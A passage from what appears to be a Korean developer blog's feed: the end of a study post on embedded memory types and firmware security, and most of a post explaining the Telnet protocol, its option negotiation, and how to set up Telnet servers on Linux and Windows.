</thead>
<tbody><tr>
<td>저장 단위</td>
<td>블록 단위 (수백~수천 바이트)</td>
<td>바이트 단위</td>
<td>바이트 또는 SRAM 단위</td>
</tr>
<tr>
<td>쓰기 속도</td>
<td>느림 (수백 us ~ 수 ms)</td>
<td>느림 (수 ms)</td>
<td>빠름 (SRAM 수준, ns ~ us)</td>
</tr>
<tr>
<td>쓰기 내구성</td>
<td>10,000 ~ 100,000 회</td>
<td>1,000,000 회 이상</td>
<td>수백만 ~ 수십억 회</td>
</tr>
<tr>
<td>전력 소모</td>
<td>쓰기 시 전력 소모 큼</td>
<td>쓰기 시 전력 소모 보통</td>
<td>매우 낮음</td>
</tr>
<tr>
<td>용도</td>
<td>코드 저장, 펌웨어 업데이트</td>
<td>설정값 저장, 사용자 변수 저장</td>
<td>설정값 저장, 로그, 캐시 메모리 등</td>
</tr>
</tbody></table>
<h4 id="요약-1">요약</h4>
<ul>
<li><strong>Flash</strong>: 대용량 코드 저장에 적합, 대체로 읽기 전용으로 취급</li>
<li><strong>EEPROM</strong>: 소량의 설정값 저장에 적합, 수정 빈도는 낮아야 함</li>
<li><strong>NVRAM</strong>: 빈번한 쓰기와 고속 처리 요구에 적합, SRAM 기반 제품이 많음</li>
</ul>
<h3 id="53-마이크로컨트롤러-내장-메모리-구성-예시">5.3 마이크로컨트롤러 내장 메모리 구성 예시</h3>
<p>대다수 마이크로컨트롤러(MCU)는 내장 메모리로 다양한 메모리 블록을 통합하고 있으며, 하드웨어 자원의 제약 속에서도 효율적 구성이 요구된다.</p>
<h4 id="avr-계열-mcu-예-atmega328p">AVR 계열 MCU (예: ATmega328P)</h4>
<ul>
<li><strong>Flash</strong>: 32KB, 프로그램 코드 저장</li>
<li><strong>SRAM</strong>: 2KB, 런타임 변수 저장</li>
<li><strong>EEPROM</strong>: 1KB, 영속적인 설정값 저장</li>
<li><strong>특징</strong>: Flash는 셀프 프로그래밍 가능, EEPROM은 라이브러리 통해 접근 가능</li>
</ul>
<h4 id="arm-cortex-m-계열-mcu-예-stm32f103">ARM Cortex-M 계열 MCU (예: STM32F103)</h4>
<ul>
<li><strong>Flash</strong>: 64KB~1MB, 코드 저장</li>
<li><strong>SRAM</strong>: 10KB~96KB, 런타임 변수, 스택, 힙 저장</li>
<li><strong>내장 EEPROM 없음</strong>: 설정값 저장은 Flash 일부 영역을 “에뮬레이션”으로 활용</li>
<li><strong>특징</strong>: DMA 접근 가능, Dual Bank Flash로 OTA 업데이트 가능</li>
</ul>
<h4 id="esp32-wi-fi-내장-soc">ESP32 (Wi-Fi 내장 SoC)</h4>
<ul>
<li><strong>SPI Flash 외장 연결</strong>: 4MB 이상, 코드 및 리소스 저장</li>
<li><strong>SRAM</strong>: 520KB, 데이터 처리</li>
<li><strong>NVS (Non-Volatile Storage)</strong>: Flash에 키-값 형식으로 저장</li>
<li><strong>특징</strong>: FreeRTOS 기반으로 메모리 영역을 분할 관리</li>
</ul>
<hr>
<h2 id="6-메모리-선택-시-고려-요소-및-보안-이슈">6. 메모리 선택 시 고려 요소 및 보안 이슈</h2>
<h3 id="61-쓰기-내구성-전력-소모-접근-속도">6.1 쓰기 내구성, 전력 소모, 접근 속도</h3>
<p>메모리 선택 시 가장 핵심적으로 고려되어야 할 세 가지 요소는 <strong>쓰기 내구성, 전력 소모, 그리고 접근 속도</strong>다. 특히 임베디드 시스템, IoT, 산업용 제어기기 등에서는 각 요소 간 절충이 필요하다.</p>
<h4 id="1-쓰기-내구성-write-endurance">1) 쓰기 내구성 (Write Endurance)</h4>
<ul>
<li><strong>Flash 메모리</strong>: 일반적으로 1만 ~ 10만 회의 쓰기 사이클</li>
<li><strong>EEPROM</strong>: 약 100만 회 이상</li>
<li><strong>FRAM/MRAM</strong>: 수천만 ~ 수억 회까지 가능</li>
<li><strong>영향</strong>: 빈번한 설정값 저장, 로그 기록 용도라면 Flash보다는 EEPROM/NVRAM이 적합<ul>
<li>예시: 실시간 계량기 → 설정값 10초마다 기록 → Flash 쓰기 한계 초과 가능성 존재</li>
</ul>
</li>
</ul>
<h4 id="2-전력-소모-power-consumption">2) 전력 소모 (Power Consumption)</h4>
<ul>
<li>휘발성 RAM (SRAM/DRAM)은 동작 중 지속적인 전력 공급 필요</li>
<li>Flash, EEPROM은 비휘발성이나, 쓰기/삭제 시 전력 소모가 큼</li>
<li>NVRAM 계열 (예: FeRAM, MRAM)은 낮은 소비 전력과 비휘발성 동시 제공</li>
<li>저전력 시스템: 배터리 기반 IoT 장비 → Flash는 전력 효율 낮아 비적합</li>
</ul>
<h4 id="3-접근-속도-access-time">3) 접근 속도 (Access Time)</h4>
<ul>
<li><strong>SRAM</strong>: ns 단위, 가장 빠름 → 캐시용 적합</li>
<li><strong>DRAM</strong>: 빠르지만 리프레시 필요 → 메인 메모리</li>
<li><strong>Flash/EEPROM</strong>: 접근 속도 느림 (us ~ ms) → 부트 코드 저장 등</li>
</ul>
<h3 id="62-펌웨어-보호와-보안-부트">6.2 펌웨어 보호와 보안 부트</h3>
<p>펌웨어의 무결성 보장은 시스템 보안의 핵심이다. 메모리에 저장된 부트로더나 펌웨어가 변조되면 전체 시스템이 공격자에 의해 제어될 수 있다.</p>
<h4 id="펌웨어-보호-방법">펌웨어 보호 방법</h4>
<ul>
<li><strong>Read-out Protection (ROP)</strong>: 외부에서 메모리 덤프 불가능하도록 MCU 내에서 설정</li>
<li><strong>코드 암호화 저장</strong>: 펌웨어를 암호화된 형태로 Flash에 저장하고, 부트로더에서 복호화</li>
<li><strong>FUSE 설정</strong>: AVR, ARM MCU에서 제공되는 FUSE 비트를 통해 외부 접근 차단</li>
</ul>
<h4 id="보안-부트-secure-boot">보안 부트 (Secure Boot)</h4>
<ul>
<li>부팅 시 디지털 서명된 펌웨어의 무결성 검증 수행</li>
<li>TPM (Trusted Platform Module) 또는 ROM 기반 Root of Trust 활용</li>
<li>예시:<ul>
<li>STM32 Secure Boot: ST사의 OEM 키를 이용한 펌웨어 서명 및 검증</li>
<li>NXP i.MX Secure Boot: HAB(Hardware Authenticated Boot) 지원</li>
</ul>
</li>
</ul>
<h4 id="문제-사례">문제 사례</h4>
<ul>
<li>Cisco 라우터의 IOS 이미지 위변조 → 백도어 삽입</li>
<li>U-Boot 미보호 구성 → 디버그 콘솔을 통한 임의 명령 실행</li>
</ul>
<h3 id="63-메모리-침해-기법-및-대응-방안">6.3 메모리 침해 기법 및 대응 방안</h3>
<p>공격자는 메모리에 직접 접근해 시스템 정보를 탈취하거나 변조할 수 있으며, 그 방식은 점점 더 정교해지고 있다. 이에 따른 대응 전략도 필요하다.</p>
<h4 id="침해-기법">침해 기법</h4>
<table>
<thead>
<tr>
<th><strong><em>기법</em></strong></th>
<th><strong><em>설명</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>물리적 덤핑</td>
<td>Flash, EEPROM을 외부 프로그래머로 추출</td>
</tr>
<tr>
<td>Glitching</td>
<td>전원 변조를 통해 부트보안 우회 시도 (e.g. Voltage Fault Injection)</td>
</tr>
<tr>
<td>Cold Boot Attack</td>
<td>DRAM의 잔류 데이터 복원</td>
</tr>
<tr>
<td>DMA 공격</td>
<td>외부 디바이스를 통한 메모리 읽기/쓰기</td>
</tr>
<tr>
<td>Buffer Overflow</td>
<td>스택 상에 저장된 리턴 주소 덮어쓰기 등</td>
</tr>
</tbody></table>
<h4 id="대응-방안">대응 방안</h4>
<ol>
<li><p><strong>메모리 접근 제어</strong></p>
<ul>
<li>MPU(Memory Protection Unit) 또는 MMU를 통해 코드/데이터 영역 분리</li>
<li>권한 없는 접근 차단 (NX bit 등)</li>
</ul>
</li>
<li><p><strong>암호화 저장</strong></p>
<ul>
<li>중요한 설정값은 EEPROM/Flash에 암호화 후 저장</li>
<li>AES-GCM 등으로 무결성 검증 포함 가능</li>
</ul>
</li>
<li><p><strong>디버깅 포트 차단</strong></p>
<ul>
<li>SWD, JTAG 등의 디버깅 포트를 물리적으로 비활성화</li>
<li>Lock bit, 보안 Fuse 설정을 통한 접근 방지</li>
</ul>
</li>
<li><p><strong>동적 무결성 검증</strong></p>
<ul>
<li>부팅 시 뿐 아니라 런타임 중에도 메모리 내용 무결성 검사</li>
<li>Checksum, Hash, HMAC 기반 방식 사용</li>
</ul>
</li>
</ol>
<hr>
<h2 id="7-마무리">7. 마무리</h2>
<p>오늘은 그래도 배경지식이 조금 있어서 빠를 줄 알았는데, 역시 오래 걸리고 내용도 많았다. 거기다가 약자가 유난히 많아서인지, 알던 것들도 쓰다 말고 헷갈리는 일이 많았다. 뭐 그래도 계속 써보고 접해보고 하면 점점 익숙해지지 않을까 싶다.</p>
<p>내일이면 주문한 새 컴퓨터가 온다! 환경 세팅하는 데 못해도 하루는 걸릴테니... 내일은 높은 확률로 하루 쉬게 될수도? 아마 주말에 보충해야겠지...</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) Telnet]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-Telnet</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-Telnet</guid>
            <pubDate>Tue, 15 Apr 2025 12:12:19 GMT</pubDate>
            <description><![CDATA[<h1 id="telnet">Telnet</h1>
<blockquote>
<p>client-server application protocol that provides access to virtual terminals of remote systems on local area networksor the Internet</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/cc0937f2-dd02-4180-ad63-5bd411d2b862/image.png" alt=""></p>
<p>오늘의 주제는 telnet이다. 이전 파이널 프로젝트에서도 취약점 탐색 때 나름 비중있게 다뤘던 주제인데... 조금 더 후속 조사를 해보니 꽤 파볼만한 것들이 많았더랬다. 오늘은 이것들을 한번 정리해보자.</p>
<hr>
<h2 id="1-telnet의-개요와-작동-원리">1. Telnet의 개요와 작동 원리</h2>
<h3 id="11-telnet-프로토콜의-정의-및-표준">1.1 Telnet 프로토콜의 정의 및 표준</h3>
<p>Telnet(Terminal Network)은 <strong>원격지의 장치에 텍스트 기반으로 접속하여 명령어를 실행할 수 있게 해주는 TCP 기반 프로토콜</strong>이다.<br>RFC 854에 의해 표준화되었으며, 기본적으로 포트 23번을 사용한다.</p>
<p>Telnet은 IAC(Interpret As Command) 라는 특수 바이트를 통해 명령 협상을 수행하며, 이를 통해 옵션 협상, 터미널 종류 지정, 에코 기능 활성화 등을 협의한다. 이는 단순 명령 송수신이 아닌 세션 협상 기반의 상호작용을 의미한다.</p>
<p><strong>주요 특징</strong></p>
<ul>
<li>텍스트 기반, CLI 방식</li>
<li>TCP/IP 기반, 비보안</li>
<li>네트워크 장비, 서버, 폐쇄망 환경에서 사용됨</li>
</ul>
<blockquote>
<p>표준 문서: RFC 854 (Telnet Protocol Specification), RFC 855~861 등 확장 문서 존재</p>
</blockquote>
<h3 id="12-osi-7계층-중-telnet의-위치">1.2 OSI 7계층 중 Telnet의 위치</h3>
<p>Telnet은 OSI 7계층 중 <strong>응용 계층(Application Layer)</strong> 에 해당한다.<br>즉, 사용자 인터페이스와 직접적으로 연결되는 계층에 위치하며, 하위 계층인 <strong>전송 계층</strong>(TCP 포트 23)을 통해 데이터가 전달된다.</p>
<h4 id="계층-분석-예시">계층 분석 예시</h4>
<table>
<thead>
<tr>
<th>OSI 계층</th>
<th>역할</th>
<th>Telnet 관련 요소</th>
</tr>
</thead>
<tbody><tr>
<td>7 - 응용</td>
<td>명령 송수신</td>
<td>사용자 명령, 서버 응답</td>
</tr>
<tr>
<td>6 - 표현</td>
<td>데이터 포맷</td>
<td>ASCII 텍스트</td>
</tr>
<tr>
<td>5 - 세션</td>
<td>세션 관리</td>
<td>Telnet 옵션 협상</td>
</tr>
<tr>
<td>4 - 전송</td>
<td>연결 보장</td>
<td>TCP (포트 23)</td>
</tr>
<tr>
<td>3 이하</td>
<td>라우팅 및 물리적 전송</td>
<td>IP, 이더넷 등</td>
</tr>
</tbody></table>
<p>Telnet은 자체 암호화 기능이 없어 <strong>TLS/SSL 같은 보안 계층이 존재하지 않음</strong>. 이 점은 보안상의 치명적인 취약점으로 작용함.</p>
<h3 id="13-telnet-세션의-시작유지종료-구조">1.3 Telnet 세션의 시작/유지/종료 구조</h3>
<h4 id="1-세션-시작">1) 세션 시작</h4>
<ol>
<li>클라이언트가 서버의 TCP 23번 포트에 접속 요청</li>
<li>서버가 TCP 핸드셰이크 수락 후 세션 생성</li>
<li>서버는 클라이언트에게 로그인 프롬프트 전송 (<code>login:</code> → <code>password:</code>)</li>
<li>클라이언트가 사용자 인증 후 명령어 입력 가능</li>
</ol>
<h4 id="2-세션-유지">2) 세션 유지</h4>
<ul>
<li>클라이언트는 명령어를 전송 (ASCII 텍스트)</li>
<li>서버는 명령 결과를 그대로 반환</li>
<li>필요한 경우 옵션 협상 (예: terminal type, window size 등) 수행</li>
</ul>
<h4 id="3-세션-종료">3) 세션 종료</h4>
<ul>
<li>클라이언트가 <code>exit</code> 또는 <code>logout</code> 명령어 입력</li>
<li>TCP 세션 종료 및 리소스 해제 (FIN 패킷 교환)</li>
</ul>
<blockquote>
<p>특이점: 비정상 종료 시에도 세션이 일부 지속될 수 있어, 서버 측 리소스 누수가 발생할 수 있음</p>
</blockquote>
<h3 id="14-가상-터미널virtual-terminal의-개념">1.4 가상 터미널(Virtual Terminal)의 개념</h3>
<p>Telnet은 <strong>물리적인 터미널(단말기)을 네트워크를 통해 논리적으로 흉내 내는 가상 터미널(Virtual Terminal, VT)</strong> 환경을 기반으로 동작한다. 클라이언트는 운영체제 상의 소프트웨어 인터페이스(예: <code>telnet</code> 명령어, PuTTY, TeraTerm 등)를 통해 가상 터미널 세션을 생성하고, 서버 측 시스템(예: UNIX 서버, 라우터 등)은 이를 실제 로컬 터미널처럼 취급하여 처리한다.</p>
<h4 id="1-vt100-계열-터미널-에뮬레이션">1) VT100 계열 터미널 에뮬레이션</h4>
<p>Telnet에서 사용하는 가상 터미널은 보통 <strong>VT100, VT220, xterm</strong> 등의 표준을 따른다. 이 표준들은 원래 물리적인 텍스트 단말기(Hardware Terminal)들이 구현하던 기능을 <strong>소프트웨어로 에뮬레이션</strong>한 것이다.</p>
<h5 id="주요-특징">주요 특징</h5>
<ul>
<li><p><strong>ANSI Escape Sequence 지원</strong>  </p>
<ul>
<li>예: <code>\033[2J</code> (화면 지우기), <code>\033[H</code> (커서 홈으로 이동) 등  </li>
<li>이를 통해 Telnet 세션은 <strong>커서 위치 조작</strong>, <strong>화면 클리어</strong>, <strong>색상 적용</strong>, <strong>특수 키 매핑</strong> 등을 구현함</li>
</ul>
</li>
<li><p><strong>터미널 협상(Negotiation)</strong>  </p>
<ul>
<li>클라이언트는 서버에 접속 시 자신이 어떤 터미널 타입을 사용하는지 알려줄 수 있으며, 서버는 이에 맞춰 출력 포맷을 조정함.  </li>
<li>예: <code>Terminal-type: xterm</code> 또는 <code>vt100</code> 등</li>
</ul>
</li>
<li><p><strong>행/열 사이즈 설정</strong>  </p>
<ul>
<li>Telnet 옵션 중 하나인 NAWS(Negotiate About Window Size)를 통해 클라이언트 창의 크기(예: 80x24)를 서버에 알림.  </li>
<li>이는 <code>less</code>, <code>vi</code>, <code>top</code>과 같은 풀스크린 터미널 기반 프로그램의 출력 형식 결정에 사용됨.</li>
</ul>
</li>
</ul>
<h4 id="2-서버-측의-세션-처리-방식">2) 서버 측의 세션 처리 방식</h4>
<p>서버는 Telnet 세션 요청이 들어오면, 로컬 사용자 세션을 생성하는 것처럼 하나의 가상 터미널 프로세스를 생성한다.<br>이 과정은 일반적으로 다음과 같은 방식으로 진행된다:</p>
<ul>
<li><strong>유닉스/리눅스</strong>의 경우, Telnet 서버(<code>telnetd</code>)는 내부적으로 <code>login</code> 또는 <code>sshd</code>와 유사한 세션을 열어 사용자의 shell (<code>/bin/bash</code>, <code>/bin/sh</code> 등)을 실행한다.</li>
<li><strong>Windows</strong>에서 Telnet 서버를 운영하는 경우, 콘솔 세션이 생성되어 명령 프롬프트(<code>cmd.exe</code>) 또는 PowerShell 환경이 제공됨.</li>
</ul>
<p>이때 사용자 입력은 한 줄 단위 또는 문자 단위로 서버에 전달되며, 서버는 해당 입력에 대한 출력을 가상 터미널 세션으로 다시 반환한다.<br>이 구조는 실제 키보드와 모니터로 구성된 터미널 환경과 거의 동일하게 동작한다.</p>
<h4 id="3-터미널-에뮬레이션의-보안적-고려-사항">3) 터미널 에뮬레이션의 보안적 고려 사항</h4>
<p>Telnet의 가상 터미널 구현은 보안적으로 민감한 특성을 지닌다. 예를 들어:</p>
<ul>
<li>에코 옵션 협상 실패 시, 사용자가 입력하는 비밀번호가 평문 그대로 화면에 출력될 수 있음.</li>
<li>특수 키(<code>Ctrl+C</code>, <code>Ctrl+Z</code>, <code>Ctrl+D</code>)와 같은 제어 입력이 OS의 신호(Signal)로 직접 전달되어, 세션 종료나 프로세스 중단을 유발할 수 있음.</li>
<li>VT100 escape sequence는 일부 취약한 클라이언트에서 터미널 인젝션 공격(terminal injection)에 악용되기도 한다.</li>
</ul>
<h4 id="4-네트워크-장비에서의-활용">4) 네트워크 장비에서의 활용</h4>
<p>많은 네트워크 장비(시스코 라우터, 스위치 등)는 Telnet을 통해 접근할 수 있으며, 이들은 텍스트 기반의 가상 터미널을 통해 다음과 같은 작업을 수행하게 한다.</p>
<ul>
<li><code>enable</code>, <code>configure terminal</code> 명령어를 통한 장비 설정</li>
<li>ACL, NAT, VLAN, OSPF, BGP 설정 등 고급 네트워크 기능 관리</li>
<li>디버깅 로그 확인 및 실시간 트래픽 모니터링</li>
</ul>
<p>이러한 CLI 환경은 대부분 VT100 호환 터미널로 설계되어 있으며, 화면 정렬, 컬러, 스크롤 영역 등을 완벽하게 구현해야 한다. 따라서, 터미널 호환성은 Telnet 클라이언트의 필수 요소이며, 전문 장비 관리를 위해서는 이 기능이 정확히 구현되어 있어야 한다.</p>
<hr>
<h2 id="2-telnet의-프로토콜-구조와-명령-체계">2. Telnet의 프로토콜 구조와 명령 체계</h2>
<h3 id="21-telnet의-데이터-형식과-구성">2.1 Telnet의 데이터 형식과 구성</h3>
<p>Telnet은 TCP 위에서 동작하는 텍스트 기반의 응용 계층 프로토콜로, <strong>데이터 전송과 명령어 제어를 동일한 채널에서 수행</strong>한다. 모든 Telnet 메시지는 8비트 바이트 스트림으로 처리되며, 이 안에 일반 사용자 데이터와 Telnet 제어 명령이 함께 혼재되어 존재한다.</p>
<ul>
<li><strong>기본 포트</strong>: TCP 23번 사용</li>
<li><strong>통신 방식</strong>: 세션 기반 양방향 스트림 통신 (Full-Duplex)</li>
</ul>
<h4 id="전송되는-데이터-구조">전송되는 데이터 구조</h4>
<ol>
<li><strong>일반 ASCII 문자</strong> → 사용자 입력 또는 출력</li>
<li><strong>Telnet 명령 시퀀스</strong> → 제어 기능(옵션 협상, 터미널 타입 설정 등)</li>
</ol>
<p>Telnet은 명령어를 특수한 예약 바이트로 구분하는데, 이 중 가장 핵심은 <code>IAC</code>(Interpret As Command, 0xFF)다. 이 바이트가 등장하면, 그 뒤의 바이트들은 일반 데이터가 아니라 명령어로 해석된다.</p>
<h3 id="22-iac-dodont-willwont-명령-협상-구조">2.2 IAC, DO/DONT, WILL/WONT 명령 협상 구조</h3>
<p>Telnet의 핵심 기능 중 하나는 <strong>세션 초기 및 중간에 수행되는 옵션 협상(Negotiation)</strong> 이다. 이 기능은 클라이언트와 서버가 어떤 기능을 사용할지를 동적으로 합의하는 절차로 구성되며, 다음의 네 가지 기본 명령어 조합을 통해 구현된다:</p>
<table>
<thead>
<tr>
<th><strong><em>명령</em></strong></th>
<th><strong><em>바이트 값</em></strong></th>
<th><strong><em>설명</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>IAC DO X</td>
<td>0xFF 0xFD X</td>
<td>상대방이 옵션 X를 수행하길 요청</td>
</tr>
<tr>
<td>IAC DON&#39;T X</td>
<td>0xFF 0xFE X</td>
<td>상대방이 옵션 X를 수행하지 않도록 요청</td>
</tr>
<tr>
<td>IAC WILL X</td>
<td>0xFF 0xFB X</td>
<td>본인이 옵션 X를 수행할 의사가 있음</td>
</tr>
<tr>
<td>IAC WON’T X</td>
<td>0xFF 0xFC X</td>
<td>본인이 옵션 X를 수행하지 않겠음</td>
</tr>
</tbody></table>
<h4 id="예시--echo-옵션-협상-옵션-번호-1">예시 – Echo 옵션 협상 (옵션 번호 1)</h4>
<ul>
<li>서버: <code>IAC DO 1</code> → 클라이언트에게 &quot;너가 echo 기능을 수행해줘&quot;</li>
<li>클라이언트: <code>IAC WILL 1</code> → 동의하고 수행하겠다고 응답</li>
</ul>
<h4 id="자주-사용되는-telnet-옵션-번호">자주 사용되는 Telnet 옵션 번호</h4>
<ul>
<li><code>1</code> → Echo</li>
<li><code>3</code> → Suppress Go Ahead (SGA)</li>
<li><code>24</code> → Terminal Type</li>
<li><code>31</code> → NAWS (Window Size Negotiation)</li>
<li><code>32</code> → Terminal Speed</li>
<li><code>34</code> → Linemode (줄 단위 전송 모드)</li>
</ul>
<p>이러한 협상은 세션 초기에 자동으로 수행되며, 이후 필요한 시점에 재협상도 가능하다. 협상 실패 시 기본 동작(옵션 미사용)으로 전환된다.</p>
<h3 id="23-telnet-명령의-한계-및-문제점">2.3 Telnet 명령의 한계 및 문제점</h3>
<p>Telnet의 명령 체계는 단순하지만, 몇 가지 구조적인 한계를 가지고 있다:</p>
<h4 id="1-명령데이터-분리의-모호성">1) 명령/데이터 분리의 모호성</h4>
<p>Telnet은 단일 스트림 상에서 명령과 데이터를 구분 없이 전송하며, <code>IAC</code>를 통해 명령을 구분한다. 하지만 <code>0xFF</code> 자체가 데이터로 사용될 경우 중복 이스케이프(IAC IAC) 처리가 필요해, 프로토콜 구현 시 혼동을 유발할 수 있다.</p>
<h4 id="2-협상-충돌">2) 협상 충돌</h4>
<p>동시에 같은 옵션에 대해 서로 <code>DO</code>와 <code>WILL</code>을 보낼 경우, <strong>경합 상태(Race Condition)</strong> 가 발생할 수 있다. 특히 서버와 클라이언트 구현이 다를 경우, 협상 상태의 불일치로 인해 기능이 작동하지 않거나 무한 협상이 발생할 수도 있다.</p>
<h4 id="3-확장성-부족">3) 확장성 부족</h4>
<p>기능 협상은 바이트 코드 기반의 제한적인 프로토콜이기 때문에, <strong>새로운 옵션 추가나 복잡한 상태 표현이 어렵다</strong>. 이후 등장한 SSH에서는 보다 구조적인 메시지 구조로 이를 해결했다.</p>
<h4 id="4-보안-기능-부재">4) 보안 기능 부재</h4>
<p>Telnet은 암호화가 전혀 없는 평문 기반 프로토콜이기 때문에, 명령어와 협상 과정에서도 <strong>중간자 공격(MITM)</strong> 이나 <strong>패킷 인젝션</strong> 위험이 존재한다. 예를 들어 공격자가 중간에 <code>IAC DO Terminal-Type</code> 같은 명령을 주입해 클라이언트의 응답을 유도할 수 있다.</p>
<h3 id="24-raw-socket과-telnet의-차이">2.4 Raw Socket과 Telnet의 차이</h3>
<p><strong>Raw Socket</strong>은 TCP/UDP 프로토콜보다 더 아래 레벨에서 동작하는 소켓 인터페이스로, 개발자가 직접 패킷 구조를 정의하고 제어할 수 있는 기능을 제공한다. 반면 <strong>Telnet은 TCP 위에서 동작하는 응용 계층 프로토콜</strong>이며, 특정 규격의 명령 체계와 가상 터미널 구조를 전제로 한다.</p>
<table>
<thead>
<tr>
<th><strong><em>항목</em></strong></th>
<th><strong><em>Telnet</em></strong></th>
<th><strong><em>Raw Socket</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>프로토콜 레벨</td>
<td>응용 계층 (TCP 위)</td>
<td>전송 계층 이하 (IP 또는 Ethernet 위)</td>
</tr>
<tr>
<td>사용 목적</td>
<td>터미널 세션 통신</td>
<td>패킷 직접 조작, 보안 도구, 스캐너 구현</td>
</tr>
<tr>
<td>데이터 처리</td>
<td>명령/데이터 혼합 스트림</td>
<td>헤더 및 페이로드 직접 구성</td>
</tr>
<tr>
<td>응용 예시</td>
<td>네트워크 장비 접속, 서버 관리</td>
<td>포트 스캐닝, 패킷 스니핑, IDS/IPS 테스트</td>
</tr>
<tr>
<td>보안</td>
<td>평문, 암호화 없음</td>
<td>구현에 따라 다름 (보안 수단 수동 구현)</td>
</tr>
</tbody></table>
<p>실제 보안 도구를 개발하거나 침투 테스트 중 특정 프로토콜을 흉내내야 할 경우, Telnet보다는 Raw Socket 기반으로 직접 패킷을 조작하는 방식이 선호된다.  </p>
<p>하지만 Telnet은 여전히 CLI 기반 장비 접근, 단순한 포트 확인 등의 작업에서는 유용한 도구로 사용되고 있다.</p>
<hr>
<h2 id="3-telnet-서비스의-운영과-설정">3. Telnet 서비스의 운영과 설정</h2>
<h3 id="31-linuxunix에서의-telnet-서버-설치-및-구성">3.1 Linux/Unix에서의 Telnet 서버 설치 및 구성</h3>
<p>대부분의 리눅스 배포판에서는 기본적으로 Telnet 클라이언트만 포함되어 있으며, Telnet 서버(<code>telnetd</code>)는 별도 패키지로 제공된다. 대표적인 서버 패키지는 <code>telnetd</code> 혹은 <code>krb5-telnetd</code> (Kerberos 연동 가능 버전)이다.</p>
<h4 id="설치-방법-예시-debianubuntu-계열">설치 방법 예시 (Debian/Ubuntu 계열)</h4>
<pre><code>sudo apt update
sudo apt install telnetd</code></pre><h4 id="설치-방법-예시-rhelcentos-계열">설치 방법 예시 (RHEL/CentOS 계열)</h4>
<pre><code>sudo yum install telnet-server</code></pre><p>설치 후에는 Telnet 서버를 inetd 또는 xinetd 슈퍼 데몬을 통해 실행하거나, <code>systemd</code> 기반으로 직접 실행할 수 있다.</p>
<h4 id="서비스-시작">서비스 시작</h4>
<pre><code>sudo systemctl enable telnet.socket
sudo systemctl start telnet.socket`</code></pre><p><strong>기본 포트</strong>는 TCP 23번이며, 해당 포트가 방화벽에서 열려 있어야 외부 접속이 가능하다.</p>
<p>다만, 최신 배포판에서는 Telnet이 보안상 위험한 서비스로 간주되어 기본적으로 비활성화되어 있거나 설치조차 되지 않을 수 있다. 따라서 SSH 기반의 대안 사용이 일반적이다.</p>
<h3 id="32-주요-설정파일-inetd-xinetd-이해">3.2 주요 설정파일 (<code>inetd</code>, <code>xinetd</code>) 이해</h3>
<p>Telnet은 독립적인 데몬 형태로 실행되기보다는 inetd 혹은 xinetd와 같은 슈퍼 데몬에 의해 요청 시 실행되는 구조를 많이 사용한다. 이는 리소스 절약과 여러 소규모 서비스 통합 관리에 유리하다.</p>
<h4 id="1-etcinetdconf">1) /etc/inetd.conf</h4>
<p><code>inetd</code>는 오래된 시스템에서 사용되는 슈퍼 데몬이며, 설정 파일은 <code>/etc/inetd.conf</code>에 위치한다.</p>
<pre><code class="language-bash">telnet  stream  tcp  nowait  root  /usr/sbin/telnetd  telnetd</code></pre>
<p>이 설정은 TCP 23번 포트에서 요청이 오면 <code>telnetd</code>를 실행하여 연결을 처리하도록 한다.</p>
<h4 id="2-etcxinetddtelnet">2) /etc/xinetd.d/telnet</h4>
<p>보다 현대적인 <code>xinetd</code>를 사용하는 경우, Telnet 설정은 <code>/etc/xinetd.d/telnet</code>에 별도로 존재한다.</p>
<pre><code class="language-conf">service telnet
{
    disable         = no
    socket_type     = stream
    wait            = no
    user            = root
    server          = /usr/sbin/in.telnetd
    log_on_failure  += USERID
}</code></pre>
<p>여기서 <code>disable = no</code>로 설정해야 Telnet 서비스가 활성화되며, <code>xinetd</code> 재시작 시 적용된다.</p>
<pre><code class="language-bash">sudo systemctl restart xinetd</code></pre>
<h3 id="33-windows-환경에서의-telnet-운영">3.3 Windows 환경에서의 Telnet 운영</h3>
<p>Windows에서는 기본적으로 Telnet 클라이언트는 설치되어 있으나, 서버 기능은 비활성화되어 있다. 서버 기능을 사용하려면 “Telnet Server” 기능을 수동으로 설치해야 한다.</p>
<h4 id="1-telnet-client-설치">1) Telnet Client 설치:</h4>
<ul>
<li>PowerShell 명령어</li>
</ul>
<pre><code class="language-powershell">Enable-WindowsOptionalFeature -Online -FeatureName TelnetClient</code></pre>
<h4 id="2-telnet-server-설치-및-실행">2) Telnet Server 설치 및 실행:</h4>
<pre><code class="language-powershell">dism /online /Enable-Feature /FeatureName:TelnetServer
net start telnet</code></pre>
<p>관리 도구 (<code>tlntadmn</code>)를 통한 설정도 가능하며, 최대 연결 수, 인증 방식, 포트 설정 등을 제어할 수 있다.</p>
<h4 id="3-windows의-인증-방식">3) Windows의 인증 방식</h4>
<ul>
<li>기본 인증: Windows 사용자 계정을 사용</li>
<li>명령어 예시:</li>
</ul>
<pre><code class="language-powershell">tlntadmn config sec=+ntlm</code></pre>
<p>NTLM 인증을 활성화하여 패스워드 평문 노출을 완화할 수 있으나, 근본적인 암호화는 되지 않으므로 여전히 보안 취약하다.</p>
<h3 id="34-포트-바인딩-인증-설정-접근-제어">3.4 포트 바인딩, 인증 설정, 접근 제어</h3>
<h4 id="1-포트-바인딩-변경">1) 포트 바인딩 변경</h4>
<p>기본적으로 Telnet은 TCP 23번 포트를 사용하지만, 설정 파일에서 다른 포트로 변경 가능하다.<br>예시 (<code>xinetd</code> 기준):</p>
<pre><code class="language-conf">port = 2323</code></pre>
<p>변경 후 방화벽, 라우터 등의 규칙도 함께 수정해야 한다.</p>
<h4 id="2-인증-설정">2) 인증 설정</h4>
<p>Telnet은 자체적인 인증 메커니즘을 가지지 않으며, 기본적으로 <strong>운영체제 계정 기반 로그인</strong>을 사용한다. 보안을 강화하기 위해 PAM(Pluggable Authentication Modules) 연동 설정을 적용하거나, Kerberos 기반의 <code>krb5-telnetd</code>를 사용하는 방식이 존재한다.</p>
<h5 id="pam-설정-경로-예시">PAM 설정 경로 (예시)</h5>
<pre><code class="language-bash">/etc/pam.d/login</code></pre>
<h4 id="3-접근-제어">3) 접근 제어</h4>
<p><code>/etc/hosts.allow</code> 및 <code>/etc/hosts.deny</code> 파일을 이용하여 접근 제어가 가능하다.  </p>
